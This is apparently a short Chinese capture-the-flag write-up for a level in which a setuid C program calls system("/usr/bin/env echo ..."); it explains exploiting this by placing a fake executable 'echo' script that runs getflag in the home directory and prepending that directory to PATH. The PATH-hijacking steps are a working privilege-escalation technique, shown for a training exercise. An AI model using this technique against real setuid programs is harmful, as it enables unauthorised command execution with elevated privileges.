这一关是找出一个程序可以执行任意程序的漏洞
1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 gid_t gid; 10 uid_t uid; 11 gid = getegid(); 12 uid = geteuid(); 13 14 setresgid(gid, gid, gid); 15 setresuid(uid, uid, uid); 16 17 system("/usr/bin/env echo and now what?"); 18}问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令
在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端
export PATH=/home/level01/:$PATH
然后执行这个程序,就可以调到我们的假的echo命令了
echo:
#!/bin/bash
getflag
本文介绍了一种通过修改环境变量并利用程序漏洞来执行任意命令的方法。通过创建一个名为echo的脚本,并将其置于PATH环境变量的首位,可以劫持程序调用,实现任意命令的执行。
521

被折叠的 条评论
为什么被折叠?



